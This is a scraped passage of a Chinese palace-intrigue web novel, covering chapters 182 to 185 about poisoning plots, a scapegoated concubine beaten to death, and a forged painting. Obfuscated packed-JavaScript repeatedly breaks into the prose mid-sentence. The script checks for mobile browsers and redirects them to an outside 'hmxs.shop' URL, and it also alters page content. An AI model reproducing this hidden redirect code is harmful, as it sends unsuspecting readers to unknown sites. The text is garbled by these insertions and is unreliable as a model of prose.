陌姑姑拧眉,“傅太医检查清楚了么?” 对于陌姑姑的斥责,傅太医倒是没有在意,转身对安文夕道:“皇贵妃娘娘,容微臣品尝一下这药膳,有些药物不容易识别出来。” 就在这时,月无双走进来道:“栗嬷嬷来了。” 栗嬷嬷一脸傲气,丝毫没有行礼的打算,睥了眼榻上的安文夕道:“皇贵妃娘娘身体如何了?太后娘娘让老奴来瞧瞧。” 陌姑姑看着栗嬷嬷桀骜的样子,不动声色的皱了皱眉。 “因为皇贵妃娘娘喝的药膳少,虽然有落红,但是腹中的胎儿并无大碍。”傅太医解释道。 栗嬷嬷微微点头,不屑的瞥了眼脸色苍白的安文夕,这孩子又没有小产,竟然如此劳师动众! 傅太医尝过药膳之后,看了眼安文夕,又用眼角的余光瞥了眼栗嬷嬷,引得栗嬷嬷不悦道:“傅太医,有话你说便是。” “傅太医请讲。”安文夕开口道。 “这药膳中含有星魄草,剂量很少,而且没有味道,故而很难察觉。” “星魄草?”月无双喃喃,然后蹙眉,“可是这星魄草并不能令人小产啊。” 傅太医知道月无双的身份,对于她一身好毒术也略有耳闻,对她道:“月小姐请看这药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傅太医不住的擦汗,将头埋得低低的,尽量降低着存在感,这后宫之事,知道的越少越安全,他早就想离开这未央宫了! “傅太医这边请。”陌姑姑为傅太医引路道。 —— 储秀宫,锦绣阁。 尚凝萱不安的踱着步子,脸上浮现一抹焦躁,双眸内显出淡淡的惊恐。 “这个死冬玲,让她打听个消息怎么去了这么久?”她低唾一声。 半晌,殿外传来一阵急切地脚步声,她立即迎了上去。 “冬玲,怎么样,打听出来了么?” 冬玲顾不得拭去额头上的细汗,气喘吁吁道:“娘娘……大事不好了!” “怎么了?”尚凝萱脸色顿时一变。 “奴婢打听到,皇贵妃娘娘喝的药膳是从长乐宫出去的。” “废话,这个本宫知道,重点!” “娘娘……那个长乐宫送去未央宫的药膳正是……正是娘娘送去的!” 第182章 嫔妾冤枉 第一百八十二章嫔妾冤枉 尚凝萱闻言,颓唐的跌坐在地上,一脸灰白,十指慢慢收紧,攥紧了衣角。 “娘娘……” 尚凝萱无力地摇了摇头,这到底是谁要害她?太后娘娘不会无缘无故的陷害她一个小小的美人吧。难道是……安芊柔,她担心自己攀上了太后娘娘,从而接近了皇上,而她就再也没有翻身的机会了么? 她越想越觉得是安芊柔无疑,双眸内不由得迸出恨意来,她就知道外表柔柔弱弱的安芊柔绝不是一个好东西! “娘娘,现在该怎么办,那栗嬷嬷已经从未央宫回了长乐宫。”冬玲担忧道。 “怎么办,还能怎么办?”尚凝萱恨恨道,她的眸中迸出一抹巨大的恐惧,“如今,等着本宫的只有死路一条。” “娘娘……”冬玲的脸色吓得惨白,若是娘娘出了事,她也不会幸免! “冬玲,你相信本宫,本宫真的什么都没有做,没有!”尚凝萱发了疯一般的抓住了冬玲的手腕。 “冬玲自然相信娘娘。” “可是别人不会信本宫的!” “娘娘,您先别担心,奴婢这就托人给老爷夫人递个信,老爷最宠爱娘娘了,这次一定不会眼睁睁的看着娘娘**的。” “没用的冬玲,没有用的!”尚凝萱苦涩道。 就算她是大理寺卿尚大人的女儿又能如何?大家族中,女子不过是利益交换的棋子!而且尚家的女儿不止她尚凝萱一个。更何况,残骸皇嗣可是诛九族的大罪,这个时候,家里只怕躲还来不及呢,怎么会救她? “娘娘……” “砰——” 一声巨大的踹门声顿时打断了冬玲还未说出口的话,看着来人冬玲不自觉地将身子往尚凝萱身后靠了靠。 “尚美人怎么坐到了地上?地上凉,小心伤了身子!”沧月捧着拂尘,睥着地上的尚凝萱道。 没想到沧总管竟然亲自来了! 尚凝萱脸色顿时变得煞白,从地上起身,朝沧月点了点头,“沧总管怎么来了?” 沧月走了两步,打量了眼殿内,然后将视线落在尚凝萱身上道:“太后娘娘刚得了几盆水仙,柔美人已经挑过一盆了,太后娘娘现在请尚美人去挑一盆。” “这样的小事,随便遣个奴才就好了,怎敢劳烦沧总管大驾。” 沧月听到“奴才”二字,眉头略皱,锐利的双眸对上尚凝萱的目光道:“这件事别的奴才只怕做不好,咱家得亲自走一趟才行。” “如此有劳沧总管了。”尚凝萱脸上挂着勉强的笑意。 “走吧,尚美人。” 刚走了两步,沧月回头看了眼冬玲,尖细着声音道:“太后娘娘只吩咐了让尚美人一人过去,这丫头就老实待在锦绣阁内吧。” 尚凝萱心中顿时咯噔了一下,她总觉得这一去就再也回不来了。 “娘娘……”冬玲眼眶微红,拉着尚凝萱的衣袖不肯松手。 “冬玲,你好好待在锦绣阁等本宫回来。” 沧月讥讽的看了眼深情款款的主仆二人,不屑冷哼一声,迈步走在前面。 转角处,露出一抹鹅黄色的衣摆,黎诗琪面含轻蔑的看着这一幕,虽然这次也没能够让安文夕小产,但总算是除去了尚凝萱这个恶心做作的女人! “主子,那曹太后会不会顺着尚凝萱查到主子头上?”这正是司琪一直担心的。 “当然不会,所有的证据都指向了尚凝萱,再说了曹太后才不会劳心劳力的帮那安文夕找凶手,她要的不过是个结果罢了。而那个结果,就是尚凝萱。”黎诗琪眸光闪闪,流露出一抹阴狠。 她说完之后,身子一闪,隐去了身形。 尚凝萱一路战战兢兢的跟着沧月来到了长乐宫,对于长乐宫的幽暗阴冷,她不禁打了个寒颤。灯火摇曳,明明灭灭的幽光,平添了几分阴森可怖。仿佛走在了刀尖上,每走一步,她就恐惧一分。 “尚美人,到了,这边来。”沧月尖细的声音在阴暗的长乐宫内犹如幽灵一般飘了过来,尚凝萱整个人颤抖的厉害。 进了内殿,气氛更加阴沉,尚凝萱不敢去看主坐上的人,垂着头朝曹暮烟福身道:“嫔妾……嫔妾给太后娘娘请安。” 曹暮勾起红唇,把玩着金玉掐丝指套,满意的看着颤栗的尚凝萱。 过了半晌,曹太后仍然没有让她起身,此时她的双腿发酸发软,这就要支撑不住。尚凝萱咬了咬牙,微微抬起了头,却发现曹太后正别有深意的盯着她,她的心蓦地一颤。 “起来吧。” 尚凝萱刚刚站直身子,只听得曹太后道:“难得你今日给哀家送了药膳,哀家这里有几盆水仙,你不妨去挑一盆。” “太后娘娘……”尚凝萱抿了抿唇,她实在不明白曹太后是在卖什么关子。 “沧月。” “是。”沧月微微福身,对尚凝萱道,“尚美人,这边来吧。” 尚凝萱心中忐忑的跟着沧月顺着从内殿延伸出去的一条幽径走了出去,越来越重的血腥味令她不由得攥紧了手中的帕子,她活这么大,还是头一次遇到这么可怕的状况,可偏偏她还不能拒绝。 “水仙都在这里了,尚美人挑一盆吧。” 血腥味弥漫着四周,阴潮的殿内在摇曳的幽光下泛着昏暗的光。 尚凝萱走进一看,那水仙竟是用鲜血浇灌,浓郁的血腥扑入她的鼻翼,令她的胃中阵阵翻腾。 “啊!”她凄厉的声音响彻了整个长乐宫。 尚凝萱双眸大睁,惊悚的抱着头,蹬蹬的后退了两步,疯狂的跑了出去,“救命,救命啊!” 沧月讥讽的勾了勾唇,跟了上去。 曹暮烟看着跑出来的尚凝萱,不动声色的挑了挑眉尾。 此时,尚凝萱发丝凌乱,眼底一片惊恐,神情木然的盯着曹暮烟,三魂犹如丢了七魄。 “怎么了,那些水仙尚美人都不喜欢?” 尚凝萱扑通跪在了地上,身子瑟瑟发抖,“太后娘娘饶命,太后娘娘饶命……” 曹暮烟身子微倾,紧盯着跪在地上的尚凝萱,双眸变得阴狠,“你也会怕么?” “嫔妾不懂太后娘娘说什么?”尚凝萱慢慢压下心中的惊恐。 “既然这么害怕,那你哪来的胆子将手伸向皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你既然不肯说出究竟是谁指使你做的这一切,那么这就是你自己一手策划的了?”曹暮烟看着尚凝萱惊恐而又茫然的双颊对栗嬷嬷使了个眼色。 栗嬷嬷顿时明了,对殿外道:“来人,上刑具!” 尚凝萱闻言脸色登时变得惨白,身子颤抖的可怕,“太后娘娘,嫔妾什么都不知道,饶了嫔妾吧,嫔妾定会做牛做马报答太后娘娘的大恩大德。” 曹暮烟不屑的看了她一眼,厉声道:“行刑!” 尚凝萱真的怕了,慌忙爬向曹暮烟,大喊道:“太后娘娘,救命啊,嫔妾是冤枉的……” 曹暮烟眼底浮现浓浓的厌恶,栗嬷嬷眸光一凛,对几个大太监厉声道:“还愣着做什么,拉住她!” 尚凝萱立即就被控制了起来,紧接而来的是重重的板子,只一下,尚凝萱就感觉被打的皮开肉绽。 “啊!不要……” “太后娘娘……” 尚凝萱不死心的朝曹暮烟伸出了手,却只换来了曹暮烟的冷蔑。 第183章 真是可惜 第一百八十三章真是可惜 尚凝萱本是娇生惯养的大家闺秀,哪里受过这样的鞭笞之刑,几板子下去,已经再也没有力气喊叫了,小脸变的煞白,有气无力的将脑袋贴在了地上。 栗嬷嬷右手一扬,行刑的几个太监立即住了手。 “栗嬷嬷,人好像晕过去了。” “拿水浇醒她!” 一盆冷水浇了下去,尚凝萱立即被惊醒,凌乱的秀发湿漉漉的贴在她的脸颊上,苍白的红唇被咬出了几道血印,样子狼狈不堪,她此时已经无暇顾及到形象了,后背以及屁股上的伤正火辣辣的疼。 “尚美人还是不肯说么?”曹暮烟勾唇。 尚凝萱有气无力道:“我……我不知道……要说什么……” 曹暮烟戴着金玉掐丝指套的手微微一抬,“给哀家继续打!” 尚凝萱的双眸顿时凌厉起来,咬牙看向高高在上的曹太后骂道:“曹暮烟,你滥用私刑,你不得好死!” 沧月闻声双眸蓦地阴鸷起来,“竟敢直呼太后娘娘名讳,该死!” “曹暮烟……我做鬼也不会……放过你!”尚凝萱继续咬牙嘶吼道。 “死到临头还嘴硬,真是不知死活,狠狠的打!”栗嬷嬷低唾一声。 重重的板子一下下的砸在了身上,尚凝萱早就疼得失去了知觉,她觉得眼前袭来一阵黑暗,意识逐渐模糊了起来,她到死都不知道究竟是谁拿她当了替罪羊! 过了半晌,尚凝萱身下已经流了一滩鲜血,浓郁的血腥充斥着整个大殿,栗嬷嬷看着尚凝萱一动不动的趴在地上,眉头略皱,厉声道:“都停下!” 然后,她俯身下去探了探尚凝萱的鼻息,手指一颤,脸色丨微变道:“太后娘娘,断气了。” 曹暮烟眼底的讥讽更盛,红唇勾起轻蔑,“没想到这么不禁打,真是无趣,哀家这里的新刑具还没有来得及用呢,真是可惜。” “太后娘娘,现在怎么办?” “拖出去,喂狗!”曹暮烟轻柔的声音中透着尖利。 “是。”那几个大太监立即将地上的尚凝萱拖了出去,在地上拉出了一道长长的血迹。 曹暮烟扫了眼地上的血腥,眉头略皱,栗嬷嬷立即带了人将地面收拾干净。 沧月搀着曹暮烟坐到了雕花椅上道:“烟儿,那尚美人毕竟是大理寺卿的女儿……” “哼,大理寺卿又能如何?不过是个三品官罢了,而残害皇嗣可是株连九族的大罪!”曹暮烟冷声道,“传哀家懿旨,尚美人谋害皇贵妃腹中龙种,畏罪**,锦绣阁上下全部杖毙!” “烟儿,看来尚美人对这件事并不知情。” “尚美人不过是个替死鬼罢了,那个人手脚倒是干净,将所有的证据都推给了尚美人。”曹暮烟眼前再次浮现尚凝萱那张娇滴滴的脸颊,似讥似讽道,“真是可惜了尚美人了,年纪轻轻的,还没得过圣宠就殁了。” “烟儿,那个人留在宫里毕竟是个祸害。” “祸害么?哀家倒觉得后面的戏会很精彩,你说呢?” 安文夕呀安文夕,你可不要让哀家失望啊,若是你连个孩子都保不住,也就别再妄想和哀家斗! 曹暮烟嘴角噙着阴毒的笑,在幽暗的灯火下越发的渗人。 不过一盏茶的功夫,夏宫里的所有人都知道了尚凝萱因为残害皇嗣而被诛,就连整个锦绣阁都没能幸免。 谁都知道尚凝萱是被曹太后私下处决的,可是却无人敢说什么,一时间,后宫之人不禁人心惶惶,再也没有人敢去未央宫去送药膳。 当太后娘娘私下处**尚凝萱的消息传到尚府的时候,尚大人呆坐在木椅上久久没有说话,而尚妇人几乎哭断了肠子。 —— 未央宫内。 陌姑姑煎好了安胎药送进了内殿,安文夕淡淡瞥了一眼那黑漆漆的药汁,黛眉略皱,“陌姑姑,我的身体并无大碍,这次不过是做戏罢了,不用再吃药了吧。” 是药三分毒,前些日子她身体不好一直在吃着安胎药,如今她腹中的胎儿很健康,安文夕实在是不想再吃药了。 “既然是做戏,这戏也得做个全套吧。”陌姑姑声音清冷,不容拒绝的将药碗送到了安文夕手中。 安文夕叹了口气,还是接过了药一饮而尽。 半晌,只听得陌姑姑道:“尚美人**。” 安文夕一滞,问道:“陌姑姑这是想来指责我心狠手辣么?” “没有,这件事你没有做错,但凡有人将主意打到了龙嗣之上,本宫第一个不会饶她!更何况那尚美人也绝非善类,早些除去也好。” 安文夕微叹了口气,“只是可惜,这次还是没有揪出那幕后之人。” “是狐狸总会露出尾巴的!” “是,只是下次再想算计曹暮烟,借她的手办事就难了!”安文夕凝眸。 陌姑姑瞥了眼安文夕的小腹处,眸光深深,这宫中就是个是非之地! “陌姑姑,如今可否能让袭匀进宫?” “只怕不能,如今宫里守卫森严,就是大内高手也难以神不知鬼不觉的潜进宫内。”陌姑姑蹙眉。 安文夕眸光微冷,这曹太后还担心她会跑了不成? “陌姑姑,我父皇和母后……” “你放心吧,他们现在很安全,曹暮烟找不到他们。” 安文夕微微点头,“陌姑姑,你让张海进来吧,我有事嘱咐他。” “你想让他去长乐宫给曹暮烟道谢?” 安文夕点头,“这件事的确是曹暮烟解决的,不管怎样我都要去道一声谢,更何况欢凉还在长乐宫。” 陌姑姑眸光复杂的掠过了安文夕的脸颊,淡道:“这件事本宫来安排。” 安文夕双眸扬起一抹笑意,“如此就多谢陌姑姑了。” —— 素芳阁。 彭安容躺在榻上,懒洋洋的翻着书,绿袖端来了一碟樱桃过来。 “娘娘,您一整天都在看书,这眼睛会受不了的。” 彭安容放下手中的书,拈了一粒樱桃,眉宇之间浮现一丝怒气,“本宫如今还床都不能下,除了看书,还能做什么?” 绿袖见彭安容坐起身子,忙在她身后垫了软垫。 “娘娘,您的药差不多好了,奴婢去给您端来。” 提到吃药, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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子目笑着从袖子中掏出一个白色的小瓷瓶递给彭安容道:“彭丨姐姐,这是我托人从家里带来的,爹爹说这药对撞伤十分有效,希望会对彭丨姐姐有用。” 彭安容接过子目手中的小瓷瓶,笑道:“齐妹妹有心了。” 子目笑道:“彭丨姐姐赶快好起来,过两日我们也好一起去看望皇贵妃娘娘。” “出了那样的事情,谁还敢再去未央宫?”彭安容脸上的笑意渐收,冷哼道。 “彭丨姐姐,话可不能这样说,皇贵妃娘娘差点小产,于情于理我们都得去瞧一眼。” 彭安容闻言,脸色渐冷,“我这身子一时半会可好不了,这样吧,齐妹妹去的时候,将姐姐的礼物带上,也省的人家说我不知礼数。” 子目脸上的笑意略减,半晌才笑道:“既然如此,妹妹就一个人去吧。” 彭安容微微点头,子目又道:“时间不早了,妹妹就不打扰姐姐了。” “绿袖,送一送齐妹妹。” 第184章 小瞧了她 第一百八十四章小瞧了她 过了两日,后宫之中的妃嫔皆聚到了未央宫来看望安文夕,这次,安文夕倒是没有拒绝。 安文夕躺坐在床榻上,看向坐在榻前的众人,唇角勾笑,“你们来未央宫看望本宫,这份心意本宫心领了。” 江向晴在殿内扫了一眼,没有发现彭安容,嘴角的笑意更深了几分,忙道:“皇贵妃娘娘说笑了,娘娘此次受了惊吓,臣妾应当来看望娘娘,否则太后娘娘就该责怪臣妾不知礼数了。各位妹妹们,你们说是不是。” 这话,意有所指。 安文夕含笑看了眼江向晴,眸光渐深,如今这江向晴如初见之时圆滑多了,为人更是玲珑八面。能够在深宫之中过得如鱼得水,必然不是无脑之人,她以前还真是小瞧了她! 江向晴话音一落,其他妃嫔连忙应和。 “晴妃娘娘说的是,这次幸好皇贵妃娘娘和肚子里的小皇子没什么事情,不然那尚美人就是死一百次也难辞其咎。”一向行事低调的华贵人突然道。 江向晴立即瞥了她一眼,眼底尽是不屑,华贵人脸上的笑意顿时一僵,她轻垂眼睑,掩去眼底的不甘。 子目温温一笑,看了眼江向晴又转眸看向安文夕道:“皇贵妃娘娘,彭婕妤如今还不能下床,就托嫔妾特意将礼物带来了。” 安文夕闻言眉头略皱,子目竟然与彭安容的关系如此亲近了。 “彭婕妤既然行动不便,就好好待在素芳阁休养便是,说来彭婕妤被撞也都十来日了,怎么还不见好,太医去瞧过了么?” “瞧过了,如今一直在吃药。” 安文夕微微点头。 江向晴心中冷哼一声,眼尾的余光讥讽的扫了眼子目。这个齐才人倒是会做人,谁都不得罪,谁也不巴结,真是讨厌! “本宫瞧着今日除了彭婕妤,其余的都来了。”安文夕的眸光在众人脸上一一掠过,最后在黎诗琪的脸上微顿,然后不着痕迹的移开了目光。 黎诗琪心中顿时一惊,难道她发现什么了么,这绝不可能,她向来做事干净,根本不会留下什么痕迹! “无双。” “夕姐姐。”无双欢快的从殿外走了进来,她看起来神采奕奕,随着她的脚步,古铜铃铛叮铃作响,五颜六色的发带微微飘摇。 “众位来看本宫,本宫甚是感动,特地做了些点心,还请众位不要嫌弃。” 江向晴闻言脸色丨微微一变,安文夕眸光微敛,说道:“你们放心,本宫并没有别的意思,只是想尽尽心意罢了。至于那次绿牡丹一事,皇上也已经查明了,是那黎美人贼喊捉贼不是么?” 安文夕说着眸光流转,目光再次淡淡掠过众人,然后瞧着黎诗琪开口,“本宫是说上一个黎美人,不是说你,你不要紧张。” 黎诗琪立即垂头道:“皇贵妃娘娘,嫔妾姐姐做了那样的事,那后果是她应得的。” 安文夕看着她笑道:“你倒是个明白人。” 无双瞥了眼面露不屑的江向晴道:“夕姐姐,你的好心有些人并不想承情呢,真是……不识抬举。” “月小姐,这里是夏宫,而不是你枫月谷,你说话口无遮掩也不怕闪了舌头。”江向晴怨恨的看了月无双一眼,恨恨咬牙,怎么到哪里都有这个臭丫头开口的份! “江向晴,你如此大言不惭,果然是没有半分教养!”月无双怒道。 “够了,若是你们是存心来这里吵闹的,就给本宫滚出去!”安文夕陡然厉声道。 “夕姐姐……”月无双委屈的立在安文夕榻前,江向晴也不甘的别过去了脸。 “皇贵妃娘娘,您能赏赐嫔妾们点心,嫔妾们高兴还来不及,怎么会多想呢。”子目立即圆场道。 安文夕微微阖上了眼睛,无力地摆摆手,“罢了,本宫累了,你们都退下吧。” “是。”江向晴面含不甘的应道,然后随众人一起缓步退出了未央宫。 路上,黎诗琪走在最后,始终一言不发,别有深意的打量了眼玲珑手中的点心,玲珑也看着手中的点心一阵微怔。 到了清秋阁,玲珑忍不住问道:“主子,你说皇贵妃赏赐点心这是什么意思?” 黎诗琪坐了下来,看了眼桌上的点心,眸光微敛,伸手拈了一块,放在鼻翼嗅了嗅,眉头略皱,然后直接放入口中。 玲珑立即制止她道:“主子不可,那皇贵妃定然没安什么好心,这点心不能吃。” 黎诗琪瞥了她一眼,然后卷起手中的点心,全部吞入口中,半晌她立即道:“玲珑,将盆端来!” “是,主子。”玲珑立即将一个小铜盆端了过来。 黎诗琪一股脑的将嘴里的点心吐了出来,末了又漱了漱口。 “主子,难道这点心真的有毒?”玲珑蹙眉。 黎诗琪擦了擦嘴,盯着桌上的点心道:“这里面有醉朦胧!” “醉朦胧?”玲珑大惊道,这醉朦胧可是来自西楚皇室的,那皇贵妃怎么会有? “司琪!” “奴婢在,主子有何吩咐?” “去查一下,别人的点心里可有醉朦胧!”黎诗琪眸光森森,微微抿了唇。 过了半晌,司琪这匆匆回了清秋阁,看了眼神色有些不安的黎诗琪道:“禀告主子,其他妃子得到的点心里并没有发现醉朦胧。” 黎诗琪闻言脸色顿时一沉,安文夕果然还是知道了她的**,那这点心是警告么?黎诗琪讥讽的扬起了嘴角。 她蓦地想起了刚才安文夕有意无意看她的眼神,还有提及到的绿牡丹一事,她的心中顿时大惊,关于她的事情,安文夕到底知道了多少? 这么看来,以前她真的是太小瞧安文夕了! “主子……”司琪吞吞吐吐道。 “怎么了?”黎诗琪有些不耐。 “主子……奴婢回来的时候瞥见了长乐宫的人,只怕……只怕曹太后对我们起疑了。” 果然,黎诗琪闻言大怒,“没用的废物,本宫白养你了!” “主子息怒,奴婢自愿去受罚,这就去房间里跪上两个时辰。” 黎诗琪扫了她一眼,没有说话,微微握了握拳,看来她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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欢凉的心底微颤,然后飞快的又打开了另一幅画卷,画中之人依然是刚才那位女子,只不过比起刚才那副,这幅上面的女子挽了妇人髻,神色之间也褪去了几分青涩,而多了几分成熟。 再看落款,依然是曹延年作,只不过多了两行小楷。 永康四年八月作此画,赠吾妻,乔婻。 这句题字犹如夫妻二人之间亲昵话语,足以反映出夫妻二人感情之深。 欢凉蓦地想起十五年前,被一把火烧的家破人亡的世家曹家的嫡长子好像名字就叫做曹延年! 欢凉伸手抚上了自己的脸颊,难道她和这画中的女子是……那就是说她是当年曹家的遗脉了。可是,当年是安国君从外面将她捡回来的,她一直不都是孤儿么? 花姑姑一直都告诉她,她无父无母,是个弃婴,怎么会…… 欢凉咬了咬唇,心中乱成一团。半晌,她再次看了眼画上和她神似的女子,微抿了唇角,匆忙将这两幅画卷卷好,收进怀中,急急出了偏殿。 第185章 欢凉身世 第一百八十五章欢凉身世 欢凉和曹暮烟禀告了一声,便急不可待的出了长乐宫朝未央宫走去。 现在她的心里复杂极了,她想立即找公主问个清楚,她和这个画中人到底是什么关系! 如果她真的是曹家的血脉,那么曹暮烟就是她灭族的仇人! 那日催眠曹暮烟时,她半醒半醉之时说的话,至今言犹在耳。 欢凉狠狠地握了握拳,脚下的步子也变得更加急迫。 曹暮烟看着欢凉急切地脚步,妩媚的勾了唇,“派人去盯着她,哀家觉得安文夕那个贱丫头会知道。” “烟儿放心吧,我早就安排了。”沧月眸光深深。 安文夕坐在琼华殿内,眸光不经意间落到了龙案旁的香炉上,她平常在琼华殿时也时常往里面添上檀香,但是她总会将香炉外面擦的干干净净,而不会让檀香散落在香炉外面。 看着洒落在香炉外面的檀香,她微微皱眉,这琼华殿的奴才也太不尽心了! 她抽出丝帕,轻轻拭去香炉盖上的檀香,打开香炉的盖子,仔细的擦拭了一遍。 刚想放下香炉的盖子,她蓦地发现香炉里面香灰的颜色不同。 上好的檀香燃烧完之后,香灰会呈灰色,而不是黑色,显然这里面的灰色香灰并不是檀香。 安文夕用帕子揩了点黑色香灰,放在鼻翼嗅了嗅,她的脸色顿时大变,右手蓦地一颤,丝帕上的黑色香灰顿时洒落在白玉地砖上。 这,是麝香! 因为放入的量少,加之掩没在檀香的香味之下,故而难以察觉,若不是今日的檀香烧完了,只怕她一直都不会发现! 这是谁放进去的? 想必那人十分清楚她的习惯,竟然将目光放在了琼华殿! 安文夕在脑海中将有嫌疑的一一掠了一遍,然后再一一排除,她实在想不出谁会有这个心机和能力,能在琼华殿的香炉里放上麝香来害她! 安文夕眸光微敛,然后俯身将地上的黑色香灰擦干净,然后从香炉里取出一撮黑色香灰,用丝帕包了起来放入袖中。然后,盖上了香炉盖,一切仿佛什么都没有发生过。 既然这麝香也烧完了,想必那人一定还会拿了麝香放进去的,她在这里守株待兔便是! 张海看到安文夕出来,忙问道:“娘娘,今日怎么出来这么早?” “没什么,今日本宫身子有些乏。”安文夕回了一句,然后径自走在了前面,她回到未央宫的时候才发现欢凉早就回来了。 安文夕看着欢凉脸色有异,立即问道:“怎么了,今日怎么回来这么早。” “整理好了就回来了。” “夕姐姐,欢凉自从回来脸色就一直不好,我问她发生了什么事情她也不说。”月无双轻挽黛眉道。 安文夕微微点头,看向月无双道:“无双,你去小厨房帮陌姑姑看看晚膳。” 月无双抿了抿唇角,欲言又止,然后看了眼欢凉转身出了内殿。 月无双一走,安文夕看向欢凉道:“到底发生了何事,现在可以说了吧。” “公主,你看这个。”欢凉从怀中抽出画卷递给安文夕。 安文夕看到上面的女子再将视线放到下面的落款,脸色丨微变,“这是哪来的?” “我整理书架的时候,不小心掉下来的。” “不小心?”安文夕眸光微敛,这个不小心怎么就这么巧呢。 看来,曹暮烟果然是起疑了,想要试探呢,她眼尾的眸光不动声色的扫了眼四周。 “公主……”欢凉咬了咬唇,不知该怎样表达。 谁知安文夕拿着手中的画卷放在鼻翼嗅了嗅,然后又仔细端详了片刻,她的嘴角蓦地勾起一抹讥讽。 “怎么了,公主?” “欢凉,你不觉得这件事很蹊跷?” “公主,虽然欢凉也觉得这是有人刻意安排的,可是欢凉真的很想知道自己的真实身世。”她咬了咬牙,看向安文夕道,“公主,欢凉不是弃婴对么?” 安文夕看着欢凉脸上的急切,手中的画卷一扬,“且不说为何宫中会出现曹家大公子为其夫人作的画,单说过了这么多年,这画废弃在长乐宫偏殿厢房内,能保存的如此完好也是难得。” 欢凉一滞,安文夕继续道:“欢凉,你不要上了曹暮烟的当了。”她说着将画递给欢凉。 “你看这画,虽然是作古的,但是内行人一眼便可以识别出来,这画不过是最近才画的。” 欢凉接过了画,仔细看了一会,喃喃道:“难道曹暮烟真的是在骗我,可是她为何要骗我呢,这完全没有必要……” 安文夕握了握欢凉的手道:“别想太多了,这曹家跟你半点关系都没有。” 看着安文夕眼底的肯定,欢凉微微松了口气,“公主,欢凉真的是弃婴么?” “我也不太清楚,父皇和花姑姑一直都是这么说的。” 欢凉狠狠地咬了咬牙,“最好别让我知道谁是我的父母,不然我一定不会放过他们,我还要问问他们为何要扔了我!” “好了傻丫头,不要胡思乱想了。”安文夕笑道。 欢凉心中顿时变得轻快,“公主,欢凉问清楚了,那就不打扰你休息了。” 安文夕点头,眸光不经意间瞥过殿外,一抹暗黑衣摆一闪而逝。 半晌,她道:“你去吧,顺便将陌姑姑叫来,我有话跟她说。” 陌姑姑进了内殿,看了安文夕一眼道:“怎么了,你叫本宫来何事?” “夕儿这次想让陌姑姑帮我一个忙。” “你说。” 安文夕从袖中取出丝帕,展开露出黑色的香灰,“陌姑姑,你看,这是我从琼华殿香炉里发现的。” 陌姑姑轻轻嗅了一下,脸色蓦地一变,冷道:“这是麝香!” 安文夕点点头,“这宫里只怕没有一个人想让我将这孩子生下来。”说着她抚上自己的小腹处。 陌姑姑微微蹙眉,“可有发现什么蛛丝马迹?” 安文夕摇了摇头,陌姑姑眸光一凛,“你以后不要再去琼华殿了!” “不,我要去。”安文夕眸光微敛,“我若是不去,怎么能知道下手的那个人是谁?我想让陌姑姑帮我,那个人既然想用这麝香让我小产,必定会再去琼华殿的香炉里放麝香。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595195|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陌姑姑神色一凝,半晌点头道:“好,这件事就交给本宫,本宫一定会揪出那个人。” “陌姑姑,那日你说如今宫廷比以前戒备更加森严,那么凭你的身手,能否自由出入宫廷?” 陌姑姑瞬间就明白了她的意思,眸内流露出一抹淡淡的赞赏,开口道:“凭本宫的身手,若想神不知鬼不觉的出入宫廷,也有些吃力。” “既然这样,那么这麝香就是来自宫内了,毕竟,这宫里的妃嫔大都是些手无缚鸡之力的大家闺秀。”安文夕说完,脑袋里飞快的掠过一抹精光,快的让她来不及抓住。 她话音刚落不久,殿外就传来了一阵脚步声,过了半晌,张海进了内殿,尖细着嗓音道:“皇贵妃娘娘,现在是否摆膳?” “晚会再摆膳吧。” “是。” “等等。”张海正欲退下,却被安文夕叫住,“本宫这里有一件事要交给张公公做。” “娘娘请讲。” “麻烦张公公帮本宫查一查最近哪个宫里的妃子或者奴才在太医院里抓过药,都抓了什么药。” “是。” “记住,这件事一定不要让别人知道。” “娘娘请放心,奴才做事一向隐秘,绝不会被别人发现的。” “有劳张公公了。” 张海忙福身道:“娘娘真是折煞奴才了。” “张公公先退下吧。” 待张海离开了内殿,陌姑姑也抬脚便走,临走之前,意味深长的看了眼安文夕,一向清冷的眸子里难得出现了一抹赞扬。 —— 长乐宫内,悄无声音的潜进了一抹黑色的身影,那人单膝跪在了曹暮烟脚下,俯首道:“启禀太后娘娘,皇贵妃很精明,一下子就识别了那画是假的。” 这样的回答曹暮烟并不意外,她轻启红唇道:“还有呢?” 